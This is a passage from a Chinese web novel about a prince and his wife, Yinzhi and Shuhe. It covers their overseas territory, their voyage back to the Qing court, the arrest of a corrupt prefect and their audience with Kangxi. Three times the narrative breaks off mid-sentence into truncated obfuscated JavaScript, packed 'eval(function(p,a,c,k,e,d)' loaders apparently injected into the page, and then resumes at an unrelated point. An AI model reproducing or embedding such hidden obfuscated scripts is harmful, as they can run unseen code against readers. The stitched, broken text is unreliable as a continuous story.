秋霞帮忙簪发的同时恭维道:“爷在福晋面前像小孩,是因为爷知道在福晋面前可以放松,感情好的缘故。 不信您瞧——” 舒禾顺着秋霞手指的方向看去,透过大帐门帘子缝隙能够看到,胤褆正站在不远处和明珠说着些什么,那表情、那仪态可没有一点像是小孩的模样。 就这样看了一会,舒禾移开目光,视线落到桌子上满目珠宝首饰上,随手捏了一对金丝翡翠的坠子向后扔去。 在秋霞一迭声的谢赏声中,浅笑道:“说的不错,该赏,起来吧,继续簪发。” “是。” 舒禾抬手看着手上前两天新做的丹蔻,弹了弹指甲,漫不经心地问道:“过些日子临海要新办一个制盐厂,你有兴趣吗?” “奴婢只想一辈子陪在福晋身边。” 透过镜子,舒禾看向站在身后的秋霞,弯唇一笑,“机会只有一次,要不要把握看你。” 秋雨喜欢搞事业,前些天主动向她请辞去了纺织厂做女厂长,身边几个从小跟着的还在羡慕,说是也想有这么一天。 其中秋霞的反响最大,恰好制盐厂要开分厂,所以她今天才会这么一问,但若是秋霞不愿意,她也不勉强。 身边跟着的这些人,她自是不会亏待了,就算没有奋斗事业那个心思,以后该给的她也还是会给。 45.安排事务 就在舒禾看着手上丹蔻出神时,身后突然传来噗通一声,是秋霞,她跪了下去。 “幸得福晋赏识,秋霞愿意一试!” 答案完全在意料之内,舒禾起身扶起跪在地上的秋霞,拍了拍她的手,眼含笑意,“你的决定不会出错的,过两天营帐会派采买的人会中心城区,你跟着一块回去,回去后去找秋雨,她知道该怎么做。” “奴婢走后您怎么办?” “冬至她们几个还在,出不了什么问题,好了,去歇着吧,跟着我来这些天也没怎么在营地逛过,趁着离开前有机会,多逛逛。” 这就是要给她放假的意思了,秋霞会意,连忙行礼道谢:“奴婢谢福晋……” 舒禾摆摆手,“行了,谢来谢去也不嫌累,走吧。” “是。” 秋霞离开后,舒禾重又坐回凳子上,从梳妆台最下层的小抽屉里拿出一张名单,挑挑拣拣,拿了根眉笔把秋霞的名字划了下去。 纸上记载的人名不多,就从小跟在她身边的八个,现如今,四个秋字打头的丫鬟已经安排好,只剩四个冬字开头的了。 她身边的几个小丫头初来她身边都有擅长的东西,后边那些个岁月更是触类旁通,学了不少其他东西,都挺好安排的。 只是这领地里面高位且适合女子干的轻便活没几个,实在不行只能再新建几个厂…… “这是又安排出去一个?” 回头,是不知道什么寻摸进来的胤褆,拉住搭在肩上的手牵到身边,抬头看着胤褆,认真商量道:“你觉得,咱们有必要开个买卖消息的地方吗?” “唔……都行,”这想法能被他福晋说出来,就证明迟早会干,他的意见没什么重要的,但…… “你手里面还有钱吗?” 他依稀记得,打从半个月前开始他家福晋每天都在那小声嘟哝没钱了、没钱了,马上就要啃窝窝头去了。 应着胤褆的话,舒禾也想起了自己这些天的所作所为,不好意思地笑笑,“其实吧,咱们是有钱的。” 念叨没钱什么的,不过是上辈子穷的和这辈子被商场感人物价逼出来的习惯罢了。 “而且你还不知道吧,这些天索额图直播……啊不,是现场带货,卖出去不少丝绸布匹,入账了好大一比金银。” 胤褆满眼诧异地反问:“索额图还有这本事?” “事实证明,是有的。” 胤褆若有所思地点了点头,“舒禾,我出去一趟,等中午回来陪你吃午饭。” “可以!” 得到了肯定的回答,胤褆弯腰在舒禾额头上亲了一口,又急匆匆地走了。 一出帐门,就对守在不远处地明珠招了招手,两人并排朝着索额图的营帐走去。 胤褆一边走一边道:“索额图本事不小,这次回去就不带他了,让他继续留在这里发光发热。” “他?本事不小?”明珠诧异的挑着眉头,对胤褆的话表示不认同,“郡王,若论本事,奴才不比索额图差,您这单单拎出来夸他,有点不合适吧?” “爷夸谁还要管合不合适?明珠,你老糊涂了?” 明. 老糊涂.珠:……就不能也夸夸他? 并不知道明珠是想求夸的胤褆嫌弃地扫他一眼,快走两步,一马当先进了索额图的营帐。 一进营帐,胤褆就被惊住了,后一步赶来的明珠见胤褆站在门口不进去,还纳闷他为什么不进去,直到他也看见帐内景象,他就懂胤褆为什么不进去了。 一切只因营帐内根本就没有下脚的地方! 只见从距帐门五十厘米的地方开始,帐内就参差摆放着许许多多的丝绸,一匹一匹丝绸静静堆积在那。 若不是清楚知道这是索额图的营帐,明珠险些以为他不小心误入了哪个仓库。 “咦?直郡王、明珠,你们两个来了怎么不进去?” 说曹操曹操到,心里面刚念叨过索额图,身后就传来了索额图的声音,明珠一脸呆滞地回头,指指营帐。 “你这营帐,让我们怎么进去?” “怎么就不能进去了,你们两个跟我来!” 说着索额图拨开明珠,率先进了营帐,一溜烟地就没了踪影,直到丝绸内传出索额图催促的声音,明珠才迟疑着迈步。 就这,进去前还不忘拉人下水,“郡王,一起吗?” 并不想下水的胤褆果断拒绝,“不了,爷突然想起来还有其他事,明珠你自己进去就好,哦对了,爷刚才所说,你润色一番直接告诉索额图就好。” 明珠看着把他顺势提出一起离开这条路给堵死的胤褆,真就有那么一刻想要弑主,他就没见过这么会坑属下的主子! 然而决定离开的胤褆跑的比兔子还快,明珠还没看两眼,眼前就没人了,偏偏身后还时不时传出索额图催他进去的声音。 明珠深吸一口气,抱着我不入地狱谁入地狱的想法,一矮身,钻进了丝绸堆里面。 丝绸堆里面,索额图已经泡好了一壶茶,见进来的只有明珠自己,悠哉悠哉地抿了一口茶,明知故问:“直郡王走了?” “走了。” “说说吧,你们两个什么事?” “说你本事不错,想让你继续留下干活而已。” 索额图狐疑地眯起眼睛,看向明珠:“就这么点子事?该不会是你想要坑我,故意瞒了一半下来没说吧?” “……我有那么不值得信任?” “那谁知道呢,对了,你知道回去的都有谁吗?” 听索额图问这个,明珠心里面直接拉起警报,戒备地问道:“干嘛?” “托人给家里人捎个信,两年多没回去,预期还要更久,再没个消息,害怕他们都认为我死了,把衣冠冢给我立上。” 索额图这样一说,明珠也想起了这个可能,想到不托人捎信,以后回家一看衣冠冢都立上了,不觉一阵毛骨悚然。 一时间是茶也喝不下去了,为着礼貌,拿起茶杯抿了一口,就提出了告辞。 “我先走了,名单我会托人进去打听,打听到了告诉你一声。” “谢了。” 明珠离开后,索额图在丝绸围绕中,突然轻笑出声,要说送信,他怎么可能只给家里面送呢? 最该送的人,明明是…… “不带他回去,得不到丝毫这边的消息,太子能愿意?” “放心,索额图会想办法给太子传信的,到时候我只需要睁一只眼闭一只眼让他们取得联系就行,来,你最爱吃的鱼,多吃点。” 舒禾拿碗接住胤褆用公筷夹过来的鱼肉,尝了一口,点点头,“确实好吃,你也吃,那不带索额图,要带明珠吗?” “不带,”胤褆拿碗一边盛汤一边道:“他们两个在正事上相生相克,只留下一个容易出事,留下两个就会相安无事。” “单他们两个还是有点不妥,不如再弄个第三方?”说着,舒禾轻轻推开胤褆递过来的汤碗,“不喝这个,不喜欢。” “第三方的人选不好找,那些子欺软怕硬的官员撑不起来,他们早上上去,晚上就能被坑下去,而且其中不乏明珠和索额图的人。” 胤褆顺势收回递汤的手,把汤碗放到嘴边尝了一口,旋即皱着眉头低声道:“怪不得你不喜欢,这汤不好喝,晚上让他们换个汤上,” “都行,说到那些官员,也不让他们回去?” “不回去,都留下,如今领地内各行各业都处于百废待兴之际,他们离开剩下一堆烂摊子,等咱们再回来还过不过了?” 闻言,舒禾轻叹一声感慨道:“可用之人还是太少了。” “是太少了,所以这次回去,咱们两个要发力了。” 听到发力二字,舒禾难得有些心里面发虚,“话说回来,咱们两个挖皇阿玛的墙角,是不是有点不太好?” “不好吗?你看明珠、你再看索额图,他们两个干活不好吗?” 经胤褆这么一说,舒禾刚才那点子心虚早没影了,并瞬间觉得挖墙脚简直好到不能再好了。 脑海中把离开之前朝堂上的人过一遍,毫不客气说出了自己想要的人,“张英、还有富察家那个……” 一连四五个人名说出来,胤褆惊得夹菜的手都顿在了半空中。 “……舒禾,你这已经不是挖墙脚了。” 舒禾无辜地眨眼,反驳:“怎么就不是了?” “你这是直接把墙拆了,挖一个有用的外加一堆没用的,皇阿玛看在父子情份上不会把我怎么样,但你刚才说的那些都挖了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“送来送去的反倒麻烦,不如你就坐在这里看了吧。” “就这样、坐在你腿上看?” “昂,可以吗?” “你不害怕腿麻就可以。” “不害怕不害怕。”胤褆一叠声地诉说着的感受,唯恐到怀的福晋就这么跑了。 就此,舒禾干脆坐在胤褆腿上处理事务,要说处理折子这事她会不会,呵,她能说身后这个喜欢躲懒的一开始就教了她怎么看折子吗? 几个折子看下来,都是些鸡皮蒜毛的小事,舒禾看过后拿起桌上刻着‘过’字的章按了一下就扔到了一边。 不一会功夫桌上折子就下去了一半,再拿起一个折子,一看舒禾就轻咦出声,“这人居然提出希望能够允许公民拥有自己的土地。” “我看看是谁——王旭?这人是跟着过来的官员吗?” 舒禾这么一问,胤褆下意识就在脑海中搜寻人名,想了半天,没想出来这人到底是不是跟着过来的官员。 “不知道,把人叫过来问问?” “不必,等回来再说,他的提议我很感兴趣,但现在时间不多,先放放吧。” “说到回来,咱们真的就不能不走吗?” “那你额娘、我阿玛额娘还有哈拉怎么办?” “可以派人把他们偷过来,”胤褆说话的声音在舒禾无语目光地注视下越来越小,直至最后讪笑着改变口风:“嗨呀,我刚才开玩笑呢,回,咱们到时间就回。” “哼,”舒禾冷哼一声移开目光,重又落回折子上,“离开前要把所有事都安排好。就像之前说的,明珠和索额图一个在中心区一个在边界,分管两边事务,另挑一个执管军力,能在两人有不好心思时强有力遏制事态恶化,那人你挑的怎么了。” “挑了两个,林怀和林宇,兄弟两个,武功不错,掌管军部能服众,还能一边一个,更切实盯着明珠和索额图。” 舒禾点点头,本着多问一嘴也不会怎么样的想法,多问了一嘴,“可信吗?” “一半一半,我还留了其他后手,就算他们两个反水也不成大碍。” 46.回程 “后手?” “嗯,不多,也就五六七八个吧,主要是针对可能会出现的各种情况都留了一个。” 听到个数,舒禾已经惊了,在听到那些后手是针对各种情况留下的,已经对胤褆完全服气了。 这家伙简直了,她本以为她的疑心病就够重了,结果胤褆比之她还要更盛一层,布置了那么多后手,也不知道是花了多长时间弄得。 具体花了多长时间胤褆已经忘了,但是当时那种脑汁耗尽的感觉他到现在都记忆犹新。 抬手伸了个懒腰,整个人趴在舒禾背上,懒洋洋地催促道:“别看我了,再看也看出一朵花来,赶紧把折子批好,咱们两个去睡觉。” “除了睡觉你还知道什么?”舒禾无语地扯扯嘴角,吐槽道。 “还知道爷的福晋整个大清第一漂亮、第一有才、第一有钱、第一……” “行了行了,别说了,油嘴滑舌的劲也不知道跟谁学的。” 被呵止闭嘴胤褆也不恼,脸上的笑容反而更灿烂了两分,头搁在舒禾肩上睨着折子上的字,时不时提两句建设性意见,或者吐槽吐槽这些人的大惊小怪,一点子小事就要上报。 如此这般消磨着,时间过的倒也算是快。 即将登上回程的船时,胤褆不舍地回头看向这片已经属于他的领地,心里面五味杂陈。 走了两步意识到胤褆没有跟上而停下的舒禾,轻声唤道:“保清,该走了。” “啊——这就来!” 深深地看了一眼比起初来时称得上欣欣向荣的海港,把这副景象刻画在心里后,胤褆快走两步,抓住舒禾垂在身侧的手,朝定好的住处走去。 毫无疑问,他们两个的房间是整艘船上最好的,透过窗户能够俯瞰广阔的海面。 但胤褆还是有些不开心,关上窗户,闷闷不乐地躺倒在软榻上,手里面捏着方才用来观察远处的望远镜一边把玩一边问道:“真的就不能把在意的人都偷出来,再也不回去吗?” 时隔几月再次听到这个问题,舒禾不免感觉一阵恍惚,同时也意识到一个问题,那就是胤褆当时可能真的没开玩笑,他是真的不想回到大清。 那个他生身的国家,那个他有着尊贵身份的国家。 放下手中拿着的闲书,走到软榻边,抬起胤褆的头坐下,又把他的头搁在腿上,揉了揉他的脸,柔声问道:“介意告诉我为什么不想回去吗?” “就是不想回去。” “总也要有个理由吧?” 胤褆烦躁地闭上眼睛,“我不喜欢大清的规矩,不喜欢大清那种氛围感,不喜欢明明在家里面还要处处端着,不喜欢头上有一个可以决定我生死的人,不喜欢明明心知肚明的事还要绕百八十个弯才说出来,不喜欢……最不喜欢被束缚到不可表露真实想法的我。” 一连串的不喜欢说出来,直接把舒禾砸懵了,她只因为胤褆不满意的是其中一两条规矩或者什么,没想到他是全部都不喜欢。 懵过后就是心疼,喜欢与否不是一两日能够形成的,这么多的不喜欢,却要强忍着自己去适应,其中痛苦可想而知。 而在今天之前,作为他的爱人,他亲密的人,她对他这些不喜欢一丝不知,可想他平时藏的到底又多深。 弯腰低头在胤褆额头上落下一吻,“对不起。” 被这一吻打断了所有思绪的胤褆感受着内心平静下来的思绪,缓缓睁开眼睛,抬手碰了碰舒禾的侧脸,小声道:“无需说对不起,不是你的错。” “你不喜欢那里,我却没办法让你想不回去就不回去,是我……” 胤褆坐起身捂住舒禾的嘴,倾身蹭了蹭舒禾的脸,失笑道:“该说这些的不是你,是我啊。” 不能让自己的妻子想做什么就做什么,还要反过来操心他的情绪,从始至终,失职的都不是舒禾,而是他。 舒禾扒拉下脸上的手,偏头在胤褆亲了一口,“虽然这次没办法,但我保证,下次我一定会想出办法让你想干什么就干什么。” “舒禾,你……” “我怎么了?” “没什么,”也就是让他感觉这个男人白做了罢了,胤褆一矮身抱住舒禾的腰把自己整个人埋进舒禾怀中,低声道:“如果有下辈子,我还想跟你在一起。” 听到胤褆这话,舒禾不知怎地就想起了宝石曾经说过的话,他说她和胤褆是天定的姻缘,所有人都没有办法拆散他们。 天定的姻缘,应该不止是一世那么简单吧? 被自己的推测逗笑,舒禾笑着轻抚胤褆的手,“我也是,想和你有下一世。” 亦或者生生世世? 大船在海上划过,荡开一道道厚重的涟漪,深蓝色的海面下仿佛藏着一张大口,只要它想就可以吞噬一切。 这天,初始时是风和日丽,时至中午,突然狂风大作,海面时不时掀起几道滔天大浪,衬得航行在其中的两艘大船更是娇小可怜。 风浪持续了一天一夜,船上的人也就担心了一天一夜,好在最后除了一些摆在甲板上的货物被浪冲走了,人员并无伤亡。 经历过一场风浪,船只航行的速度无形中加快不少,原定四个月才能到大清的船,三个月就到了。 要舒禾说,船只抵达大清才是灾难的开始。 看着不远处质疑她和胤褆身份的知府,舒禾直接被逗笑了,这家伙知道他这胖墩墩的体格用在叫嚣这有多搞笑吗? “这位、知府?既然你质疑我二人的身份,那就拿出证明我二人不是直郡王和直郡王福晋的证据来,若不然,污蔑皇室子弟身份这条罪名,想必大理寺应该会非常感兴趣?” “呵,这两年冒充直郡王和其福晋的不少,拿大理寺扯幌子的倒少,来人啊,给我把他们抓起来!” 胤褆扭头和舒禾对视一眼,两人眼里面是如出一辙的震惊,他们两个是真的没想到还会有人想来冒充他们两个的身份。 要知道他们两个可是正正经经皇室的人,他们是觉得只要过了海关这一步,到了京城也不会被人拆穿吗? 两人表示大不解,也并不打算理解。 他们两个对脏兮兮的地牢一日游并没有兴趣,看着前来抓人的官兵,默契地往后退一步,异口同声喊道:“李天!” “奴才在,”被两个主子一喊,隐藏在人群中看戏的李天站出身来,瞪了一眼胆大包天的知府,走到胤褆面前跪下,“郡王,福晋,可要前往官府休憩?” 看到身为直郡王离开前特意留下的贴身小太监李天站出来,知府已经开始汗流浃背了,不是,之前那么多假的这人都是这样看笑话一样站在人群里面就算了,怎么真的也站在人群里面看笑话啊? 就这态度,他以为这次和之前的一样都是假的也不冤吧! “噗通!” “直郡王恕罪,是小人有眼不识……” “行了,”胤褆摆摆手,一脸的不在意,就在知府以为要被放过时,就听胤褆接着道:“你勾结倭贼打劫大清子民,按照大清律法,斩立决,压下去。” 知府愣住,直到有人过来拖他才反应过来,疯狂挣扎,“不不不!我没有勾结倭贼,你这样胡乱给人扣罪名,是要遭天谴的!” “胡乱扣罪名?” “没错!没干的事,你就算是打死我也不认!”知府表演的很有骨气地模样,实则被低垂眼睫遮挡的眼里面满是得意。 早在一年半前那些倭贼联系不到,他就意识到出事了,把和倭贼交易的物证和人证毁了个干干净净,就算是皇室又怎么样,捏不到他犯法的证据,还不是…… “知……知府。” “许归来?你不是死了嘛!” 见许归来被认出来,胤褆轻笑出声,“认识啊,那不就好办了嘛,压下去,李天——” “奴才在!” “你去盯着,切记一切都要遵循律法来,免得落人口舌。” 收到胤褆眼神暗示的李天秒懂,点点头就跟了过去。 望着李天离开的背影,胤褆眼睛微眯,有李天盯着,这人想畏罪自杀或者有人想杀人灭口是没可能了,就是不知道这人会不会把背后之人给供出来保命,狗咬狗的戏码,他虽然不是很想看,但也不排斥他上演。 一场闹剧落场,胤褆这边毫发无损不说,对方那边折了个知府进去。 背后之人怎么恼怒胤褆不管,他只带着舒禾在官府休憩两晚调整了一下状态,留下李天,就快速上了路,明知那里有危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒禾软倒在死赖着不出去骑马的胤褆身上,抓着他垂在身侧的头发把玩,“你这头发,等到了京城,就该剃了吧?” “对,想到剃发就烦,也不知道那些老祖宗怎么想的,什么发型不好,偏要弄个半月头,把爷十分的美貌祸祸地只剩三分。”胤褆说着一脸郁悴地摸了摸自己的脸,由衷地嫌弃那个发型。 那小模样,看的舒禾眼里面满是笑意,嘴上忍不住故意和他唱反调,“你就没想过,是你本身的问题?” 胤褆疑惑地歪头,一脸你在说什么的表情,“舒禾,你看着我这张脸,把刚才那话再说一遍,来,再说一遍。” “不说。” “说!” “哎呀都说了不说!”舒禾退库着胤褆凑近的脸,眼角余光不住地往胤褆脸上瞄,最后眼瞅着推拒不了了,身上干脆利落地卸了力。 对着没有防备倒过来的俊脸狠狠亲了一口,随后摸着胤褆微微泛红的耳根,一脸霸气的问道:“还说吗?” “不说了,”胤褆摇头,“咱们直接做吧。” “滚下去骑马——” “不要,我要陪着舒禾。” 看着极尽痴缠姿态的胤褆,再想想刚才他的样子,舒禾双手环胸,颇为无语的问道:“你额娘知道你性格这么多变吗?” “知道吧,毕竟我这变脸就是跟我额娘学的。” 舒禾在胤褆这一句话话里面察觉出来八卦的气息,轻咳一声,迅速变换表情,“细说。” “就后宫里面争宠的姿态嘛,我小时候曾经躲草丛里面见过过,我额娘上一秒还笑着跟那谁说话,下一秒那人走了,眼神一冷,直接把那谁给她的东西扔到了地上。 还有一次,是在延禧宫,一开始就我们母子两个吃饭,吃到一半皇阿玛来了,额娘初听皇阿玛来时那眼角眉梢的嫌弃藏都藏不住,却在皇阿玛踏进来时,秒变笑颜。 此类种种,多的是例子。” “……额娘这么多年在后宫生活辛苦了。” 胤褆奇怪地看了一眼舒禾,“你在说什么啊,前期有纳兰一族在,无人欺辱,后期有了我,外加自身有实力,掌着宫权还不用应付皇阿玛,额娘不知道多快乐呢!” “你出去,不想和你说话了。” 被连推带踹赶下马车的胤褆无辜摸鼻,小声嘟哝,“连实话都不让说了,脾气好差。” “胤褆——” 听到熟悉的声音,胤褆脑子一时间卡壳,扭头就见他以为进去了的人此刻正扭曲着笑脸看他。 胤褆咽了咽口水,一边后退一边小声安抚道:“体面,注意体面啊舒禾,你这时候跳下马车追出来可不好看,那啥,爷还有事,就先走一步。” 47.觐见、献宝 看着胤褆跑走的背影,舒禾冷笑一声,甩上车门帘,跑吧,跑得了一时跑不了一世,她就不信晚上胤褆能忍着不去找她。 事实证明,胤褆是真的忍不了一点,他连晚上都没忍到,中午车队停下用膳时,一个人拎着只烤好的烤鸡就屁颠屁颠地过来了。 胤褆跳上马车,一只手背在身后一只手拉开门帘,朝舒禾讨好地笑,“舒禾,我给你送吃的来了。” 舒禾眼睛下瞥,她面前矮桌上满满一桌子的吃食,很明显的意思,她不缺吃的。 “这不一样,我送的这个,满桌子没有。” 胤褆这么一说,舒禾被勾起一点兴趣,手指轻敲桌面,“拿出来看看。” 背在身后的手往前一伸,那是一只被烤得喷香的鸡。 舒禾眨眨眼,突然留意到胤褆脸颊侧边隐蔽初的一点黑灰,“你……自己烤的?” “怎么可能,肯定是护卫烤的啊!” 舒禾没再说话,只是抬手在自己脸上相对应的地方一点,看胤褆慌里慌张地抬手去擦,又看他看到手上一点黑灰时惊慌失措的表情,没忍住噗嗤一声笑出声来。 “拿来。” “什……哦哦,给。” 舒禾接过递过来的烤鸡,也不嫌油,赤手撕下一条放到嘴里面尝了尝,“很好吃,你也吃。” “既然你邀请我了,那我就恭敬不如从命了。” 看着一溜烟过来坐下的胤褆,舒禾低下头翻了个白眼,说什么恭敬不如从命,倒是别过来这么快啊。 “咳,那啥,你应该不生气了吧?” “我就没生气过。” 没生气过? 说实话,这四个字胤褆一个字都不信,甚至内心嗤之以鼻,但是!重点来了,明面上他不敢说! 对于自己怕福晋这件事,胤褆早已经接受,除了偶尔有那么几丝丝想要崛起的心思,其他时候都是听之任之的状态。 要说舒禾知道胤褆的心里想法么,知道肯定是知道的,只是作为受益者,她没得道理去改变胤褆这种心态。 夫妻两个早上闹的小别扭,中午就和好了,下午又亲亲蜜蜜的同乘一辆马车。 从海边回京城的路并不短,足足走了两个半月,比之海上的时间也就差了那么一点点。 马车前脚驶入京城,后脚就有专门守着的人去宫里面报了信,以至于一路奔波,两人非但不能回到郡王府休息,还要先进宫觐见。 掀开车帘,看路上来往行人有的已经穿上棉衣,才恍然发觉时间已经几近正月,再过些日子,就该过年了。 “这个年节,要忙起来了。” “无外乎那些想寻摸门路往上爬的大臣或者想要投入我门下撺掇我和太子争的大臣,想理就理,不想理,直接紧闭府门,把他们都打发了去就行。” “说的倒是轻松。”舒禾笑着嗔道。 见舒禾笑了,胤褆笑着靠过去环住她的腰,将头搁在她肩窝上,轻声道:“做起来更是轻松,你不好意思的话,就交给我来办,只是京城中怕是要升起一条大福晋不得大阿哥喜欢,大过年的连门都不让出的谣言了。” “你觉得这条谣言升起时,那些知道真相的人会怎么想?” “还能怎么想,大阿哥这人惧内,府中局势全凭大福晋操控,”说到这里,胤褆没忍住笑出声,“如此,倒也算相抵了,愚者一个真相,智者一个真相,分别对应着两个局面。” “郡王、福晋,午门到了,请下车步行。” 外边突然传来宫人的声音,胤褆松开手,和扭过头的舒禾对视一眼,两人眼里面是如出一辙的不痛快和对自家领地的思念。 寄人篱下果然不舒服,哪有自家领地想干什么干什么来的痛快,胤褆眼里面明晃晃就是这么个意思。 舒禾暗戳戳点头,表示她也是这么个想法。 然而什么想法不想法的,都不妨碍他们两个要下车步行。 刚一下车,一股冷风吹来,两人步调一致的打了个寒颤,一缩脖子,再次对视,眼里面满满都是想要逃跑的欲望。 “大哥?大嫂?” 嗯?胤褆扭头朝身后看去,不确定的唤道:“小四?” “是我,”胤禛点点头,想到什么,手往后一伸,把站在身后的小姑娘拉到身边,介绍道:“这是我福晋。” 转而又对着身边的小姑娘介绍道:“这是我大哥、大嫂,你随我叫大哥、大嫂就行。” 四福晋看看胤褆再看看舒禾,腼腆一笑,弯腰行礼:“见过大哥、大嫂。” 舒禾:这咋办? 胤褆:看着办。 舒禾:那你来。 “咳,不必多礼,起来吧,小四,你带着你福晋这是要?” “我进宫找皇阿玛说事,福晋进宫给德额娘请安。” “正好,我也要找皇阿玛,不如咱们两个一道,我福晋和你福晋一道?” 胤禛想了想,没想出什么不妥来,遂点头,“都听大哥的。” 转身的瞬间胤褆咬着牙低声解释他刚才那么说的原因,“舒禾,我不好往后宫去,你跟她搭个伴,到目的地了分开就行。” 舒禾微微颔首,往前迈开一步,与胤褆错身而过,朝着愣在原地不知所措的四福晋走去。 看见靠近的舒禾,琪娜下意识行礼,“大嫂……” “不必多礼,”舒禾抬手扶住琪娜,对着她笑笑,“时间不早了,咱们这就进宫如何?” 琪娜眨眨眼,没有异议的点了点头,“听大嫂的。” 一句听大嫂的,直接把舒禾逗笑了,胤禛这福晋,不知道为什么,总给她一种呆呆的感觉,是因为年纪小的原因吗? “大嫂,你在笑什么啊?” “没什么,就是想到了点其他事情,说来不好意思,你和四弟大婚时我和爷不在大清,连礼物都没能送上,希望后边补送礼物时,四弟妹不要拒绝。” “啊不会,妹妹在此就先谢过大嫂了。” 两人走在宫道上,径直朝着后宫而去,还在路上时,与她们同一时间出发的胤褆和胤禛就已经来到了御书房外,等待着里面的通传。 “两位阿哥,皇上说请你们进去。” “梁九功,皇阿玛现在心情怎么样?” 梁九功看向问话的胤褆,刚想说什么迎面一闪,再回神,手里面突然多了一块金子。 哦,原来是胤褆扔金子过来时,他手快过脑子,直接接了过来。 拿着这金子,梁九功只感觉无比烫手,这光明正大的贪污受贿,他还是有点不敢的,要是大阿哥私底下塞给他,他接也就接了,但是这么光明正大…… 梁九功含泪把金子塞还回去,“此刻因国库刚刚充盈过一番,皇上心情很好。” “这你不要?” 看着胤褆两指捏着的金子,梁九功默默低头并把袖子拉开一点,“大阿哥说笑了,奴才做这些都是奴才的本分,收钱什么的就言外了。” 他不收,但是你可以硬塞啊——就在梁九功内心演习一会用什么姿势推拒时,就见胤褆直接把金子给收了起来。 就那么收起来了,眼瞅着到手的金子没了,梁九功整个人都不好了。 但胤褆才不管他好不好呢,反正不要是他自己说的,他敢说他有什么不敢信的。 收起金子迈步就朝御书房走去,跟在一边的胤禛则是慢了一边才跟上他的脚步。 “大哥,你这样得罪御前的人,小心他给你穿小鞋。” “你觉得爷怕他?” “这不是怕不怕的问题,这是……” “爷不怕告诉你,爷在大清待不了多久,人不在,任他千般算计也用不到爷身上。” “嘎吱——” 伴随着门被打开的声音,胤褆熟练一跪,成功躲掉那头扔过来的东西,弯腰叩首:“儿臣参见皇阿玛,皇阿玛万岁……” “砰!胤褆,一走三年,你还记得回来啊!可知你额娘日日念叨你整个人都瘦了一圈!可知……” “皇阿玛,儿臣打断一下,儿臣并没有一走三年,实际上,儿臣只走了两年十个月,之所以回来这么晚,都是交通不便的缘故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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趁着康熙顾不上他们几个的功夫,胤褆走回门口关上大门,踢踢还跪在地上胤禛的脚,小声道:“起来吧,等皇阿玛回神还不定什么时候呢,还是说,你想把腿跪麻,一瘸一拐的走出去,好让你家福晋心疼?” “没、没有!” 本来不想起来的胤禛一听胤褆后边半句话腾的一下就从地上窜了起来,耳红脖子热的反驳,“大哥,不可胡说!” “嗤,真是不经逗,”胤褆有些失望地摇摇头,走到一旁的雕花大椅上坐下,对已经惊呆了的胤礽使了个眼色,示意他赶紧地过来商量事情。 胤礽站起身,见康熙没反应,方才皱着眉头走到胤褆身边坐下,小声问道:“叫孤过来什么事?” “爷走这三年,朝堂上有什么变化吗?” “你走时带走了近四分之一的朝臣,皇阿玛趁机举办挑了不少看中的新人上位,由此对朝堂的掌握力到达了新的巅峰。 除此之外就是小五、小七、小八都走上了朝堂,手底下有了一小撮势力。” 像是想到什么可笑的东西,胤礽舒展开眉头,顿了一下才接着道:“他们手底下的人,都是曾经大哥你手底下的人。” “一群墙头草,走也就走了,”胤褆不甚在意地说道。 胤礽挑眉,“你就真的一点都不在意?” “不在意,”胤褆实话实说,看着胤礽骤然转变的眼神,笑了笑,提出了自己的要求:“你帮我找找朝堂上有没有武功好智谋也不差的武将。” “你找这样的武将干嘛?” “再出海时带着啊。” “你还要出海?”胤礽诧异地看着胤褆,有些不可置信他还要出海,“一走三年,你手底下已经没了势力,再走,你是想要在大清查无此人吗?” “你不懂,外边有我的执念。” “执念?呵,大哥,孤看你是被海风吹坏了脑子,什么执念能比得过权势?” 胤褆无语地瞪了胤礽一眼,说就说,好端端地搞什么人身攻击,还攻击他的脑子,他脑子好好的,要他看,一群待在大清守着一片天的这些兄弟才是真的脑子不清醒。 被胤褆这样瞪着,胤礽脑海内忽然灵光一现,“大哥,你该不会是在国外有了那啥,带不回来,才想着再前往国外和她续缘吧?” “胤礽!脑子不要可以直接扔了,你这污蔑我的话若是被爷福晋听见并当成了真,爷和你没完!” 48.各怀心思 “你害怕大嫂?” 胤褆扫一眼胤礽,一脸这是在说什么废话的表情,“爷会害怕她?你在开什么玩笑?” “那你为什么不敢让大嫂听到?” “呵,我只是不想让和和美美的家庭平生事端,再说了,你知道一个和谐的家庭对孩子的影响有多深吗?哦,忘了,你没家庭。” 胤礽磨了磨牙,从牙缝挤出一句话,“有时间,孤会让太子妃石氏去找大嫂好好讨教讨教的。” “不是,皇阿玛舍得让你大婚了?” 胤褆是实打实的吃惊,就他作为旁观者旁观父子两个那么多年腻歪下来,他还以为太子这辈子都没有大婚的机会了呢。 没想到他出一趟海,再回来,居然大婚了,啧啧啧,这可真是世道不古啊—— 胤褆悄摸往低头正看地认真的康熙那边瞥一眼,小小声问道:“你失宠了?” 胤礽深吸一口气,心里面默念了三遍这是亲兄弟不能杀、不能杀,才把喊人将胤褆拖出去砍了的念头消散。 但他还是想说…… “大哥,你是傻子吗?居然能说出这么有歧义的话吗?那么多年上书房都白上了吗?” “啧,不会好好说话的家伙,小四,你过来,大哥问你点事。” 胤禛本来在一边正听的津津有味,没想到这把子火会突然烧到自己身上,抬手不可置信地指指自己,“我?” “昂,就你。” “大哥,我不行,我年纪小知道的事也少,有什么你还是问太子二哥吧。”胤禛连连摆手道。 胤褆在内心狠狠翻了个白眼,我刚才说那么些话就是为了惹烦太子好换个说话对象,你现在让我转回去找太子说话,做什么春秋大梦呢! 起身走到胤禛旁边,也不管胤禛浑身上下都在表示抗拒,一把揽过胤禛的肩膀,把人拽过来,三下五除二按到就近的椅子上,就开始问起自己想了解的事来。 一问一答间,半个时辰过去了,看完所有信息坐在那扮演雕塑的康熙也缓了过来,抬眼环视一圈,忽然道:“胤禛先回去,保成也……算了,留下吧。” 